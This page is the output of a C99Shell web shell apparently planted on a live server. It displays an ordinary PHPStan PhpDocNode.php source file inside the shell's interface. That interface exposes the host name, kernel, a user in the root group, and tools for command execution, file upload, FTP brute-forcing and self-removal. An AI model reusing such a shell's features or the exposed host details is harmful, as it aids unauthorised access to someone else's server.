!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/phpstan/phpdoc-parser/src/Ast/PhpDoc/   drwxr-xr-x
Free 28.53 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PhpDocNode.php (8.24 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types 1);

namespace 
PHPStan\PhpDocParser\Ast\PhpDoc;

use 
PHPStan\PhpDocParser\Ast\Node;
use 
PHPStan\PhpDocParser\Ast\NodeAttributes;
use function 
array_column;
use function 
array_filter;
use function 
array_map;
use function 
implode;

class 
PhpDocNode implements Node
{

    use 
NodeAttributes;

    
/** @var PhpDocChildNode[] */
    
public $children;

    
/**
     * @param PhpDocChildNode[] $children
     */
    
public function __construct(array $children)
    {
        
$this->children $children;
    }


    
/**
     * @return PhpDocTagNode[]
     */
    
public function getTags(): array
    {
        return 
array_filter($this->children, static function (PhpDocChildNode $child): bool {
            return 
$child instanceof PhpDocTagNode;
        });
    }


    
/**
     * @return PhpDocTagNode[]
     */
    
public function getTagsByName(string $tagName): array
    {
        return 
array_filter($this->getTags(), static function (PhpDocTagNode $tag) use ($tagName): bool {
            return 
$tag->name === $tagName;
        });
    }


    
/**
     * @return VarTagValueNode[]
     */
    
public function getVarTagValues(string $tagName '@var'): array
    {
        return 
array_filter(
            
array_column($this->getTagsByName($tagName), 'value'),
            static function (
PhpDocTagValueNode $value): bool {
                return 
$value instanceof VarTagValueNode;
            }
        );
    }


    
/**
     * @return ParamTagValueNode[]
     */
    
public function getParamTagValues(string $tagName '@param'): array
    {
        return 
array_filter(
            
array_column($this->getTagsByName($tagName), 'value'),
            static function (
PhpDocTagValueNode $value): bool {
                return 
$value instanceof ParamTagValueNode;
            }
        );
    }


    
/**
     * @return TypelessParamTagValueNode[]
     */
    
public function getTypelessParamTagValues(string $tagName '@param'): array
    {
        return 
array_filter(
            
array_column($this->getTagsByName($tagName), 'value'),
            static function (
PhpDocTagValueNode $value): bool {
                return 
$value instanceof TypelessParamTagValueNode;
            }
        );
    }


    
/**
     * @return TemplateTagValueNode[]
     */
    
public function getTemplateTagValues(string $tagName '@template'): array
    {
        return 
array_filter(
            
array_column($this->getTagsByName($tagName), 'value'),
            static function (
PhpDocTagValueNode $value): bool {
                return 
$value instanceof TemplateTagValueNode;
            }
        );
    }


    
/**
     * @return ExtendsTagValueNode[]
     */
    
public function getExtendsTagValues(string $tagName '@extends'): array
    {
        return 
array_filter(
            
array_column($this->getTagsByName($tagName), 'value'),
            static function (
PhpDocTagValueNode $value): bool {
                return 
$value instanceof ExtendsTagValueNode;
            }
        );
    }


    
/**
     * @return ImplementsTagValueNode[]
     */
    
public function getImplementsTagValues(string $tagName '@implements'): array
    {
        return 
array_filter(
            
array_column($this->getTagsByName($tagName), 'value'),
            static function (
PhpDocTagValueNode $value): bool {
                return 
$value instanceof ImplementsTagValueNode;
            }
        );
    }


    
/**
     * @return UsesTagValueNode[]
     */
    
public function getUsesTagValues(string $tagName '@use'): array
    {
        return 
array_filter(
            
array_column($this->getTagsByName($tagName), 'value'),
            static function (
PhpDocTagValueNode $value): bool {
                return 
$value instanceof UsesTagValueNode;
            }
        );
    }


    
/**
     * @return ReturnTagValueNode[]
     */
    
public function getReturnTagValues(string $tagName '@return'): array
    {
        return 
array_filter(
            
array_column($this->getTagsByName($tagName), 'value'),
            static function (
PhpDocTagValueNode $value): bool {
                return 
$value instanceof ReturnTagValueNode;
            }
        );
    }


    
/**
     * @return ThrowsTagValueNode[]
     */
    
public function getThrowsTagValues(string $tagName '@throws'): array
    {
        return 
array_filter(
            
array_column($this->getTagsByName($tagName), 'value'),
            static function (
PhpDocTagValueNode $value): bool {
                return 
$value instanceof ThrowsTagValueNode;
            }
        );
    }


    
/**
     * @return MixinTagValueNode[]
     */
    
public function getMixinTagValues(string $tagName '@mixin'): array
    {
        return 
array_filter(
            
array_column($this->getTagsByName($tagName), 'value'),
            static function (
PhpDocTagValueNode $value): bool {
                return 
$value instanceof MixinTagValueNode;
            }
        );
    }


    
/**
     * @return DeprecatedTagValueNode[]
     */
    
public function getDeprecatedTagValues(): array
    {
        return 
array_filter(
            
array_column($this->getTagsByName('@deprecated'), 'value'),
            static function (
PhpDocTagValueNode $value): bool {
                return 
$value instanceof DeprecatedTagValueNode;
            }
        );
    }


    
/**
     * @return PropertyTagValueNode[]
     */
    
public function getPropertyTagValues(string $tagName '@property'): array
    {
        return 
array_filter(
            
array_column($this->getTagsByName($tagName), 'value'),
            static function (
PhpDocTagValueNode $value): bool {
                return 
$value instanceof PropertyTagValueNode;
            }
        );
    }


    
/**
     * @return PropertyTagValueNode[]
     */
    
public function getPropertyReadTagValues(string $tagName '@property-read'): array
    {
        return 
array_filter(
            
array_column($this->getTagsByName($tagName), 'value'),
            static function (
PhpDocTagValueNode $value): bool {
                return 
$value instanceof PropertyTagValueNode;
            }
        );
    }


    
/**
     * @return PropertyTagValueNode[]
     */
    
public function getPropertyWriteTagValues(string $tagName '@property-write'): array
    {
        return 
array_filter(
            
array_column($this->getTagsByName($tagName), 'value'),
            static function (
PhpDocTagValueNode $value): bool {
                return 
$value instanceof PropertyTagValueNode;
            }
        );
    }


    
/**
     * @return MethodTagValueNode[]
     */
    
public function getMethodTagValues(string $tagName '@method'): array
    {
        return 
array_filter(
            
array_column($this->getTagsByName($tagName), 'value'),
            static function (
PhpDocTagValueNode $value): bool {
                return 
$value instanceof MethodTagValueNode;
            }
        );
    }


    
/**
     * @return TypeAliasTagValueNode[]
     */
    
public function getTypeAliasTagValues(string $tagName '@phpstan-type'): array
    {
        return 
array_filter(
            
array_column($this->getTagsByName($tagName), 'value'),
            static function (
PhpDocTagValueNode $value): bool {
                return 
$value instanceof TypeAliasTagValueNode;
            }
        );
    }


    
/**
     * @return TypeAliasImportTagValueNode[]
     */
    
public function getTypeAliasImportTagValues(string $tagName '@phpstan-import-type'): array
    {
        return 
array_filter(
            
array_column($this->getTagsByName($tagName), 'value'),
            static function (
PhpDocTagValueNode $value): bool {
                return 
$value instanceof TypeAliasImportTagValueNode;
            }
        );
    }


    
/**
     * @return AssertTagValueNode[]
     */
    
public function getAssertTagValues(string $tagName '@phpstan-assert'): array
    {
        return 
array_filter(
            
array_column($this->getTagsByName($tagName), 'value'),
            static function (
PhpDocTagValueNode $value): bool {
                return 
$value instanceof AssertTagValueNode;
            }
        );
    }


    
/**
     * @return AssertTagPropertyValueNode[]
     */
    
public function getAssertPropertyTagValues(string $tagName '@phpstan-assert'): array
    {
        return 
array_filter(
            
array_column($this->getTagsByName($tagName), 'value'),
            static function (
PhpDocTagValueNode $value): bool {
                return 
$value instanceof AssertTagPropertyValueNode;
            }
        );
    }


    
/**
     * @return AssertTagMethodValueNode[]
     */
    
public function getAssertMethodTagValues(string $tagName '@phpstan-assert'): array
    {
        return 
array_filter(
            
array_column($this->getTagsByName($tagName), 'value'),
            static function (
PhpDocTagValueNode $value): bool {
                return 
$value instanceof AssertTagMethodValueNode;
            }
        );
    }


    
/**
     * @return SelfOutTagValueNode[]
     */
    
public function getSelfOutTypeTagValues(string $tagName '@phpstan-this-out'): array
    {
        return 
array_filter(
            
array_column($this->getTagsByName($tagName), 'value'),
            static function (
PhpDocTagValueNode $value): bool {
                return 
$value instanceof SelfOutTagValueNode;
            }
        );
    }


    
/**
     * @return ParamOutTagValueNode[]
     */
    
public function getParamOutTypeTagValues(string $tagName '@param-out'): array
    {
        return 
array_filter(
            
array_column($this->getTagsByName($tagName), 'value'),
            static function (
PhpDocTagValueNode $value): bool {
                return 
$value instanceof ParamOutTagValueNode;
            }
        );
    }


    public function 
__toString(): string
    
{
        
$children array_map(
            static function (
PhpDocChildNode $child): string {
                
$s = (string) $child;
                return 
$s === '' '' ' ' $s;
            },
            
$this->children
        
);
        return 
"/**\n *" implode("\n *"$children) . "\n */";
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0056 ]--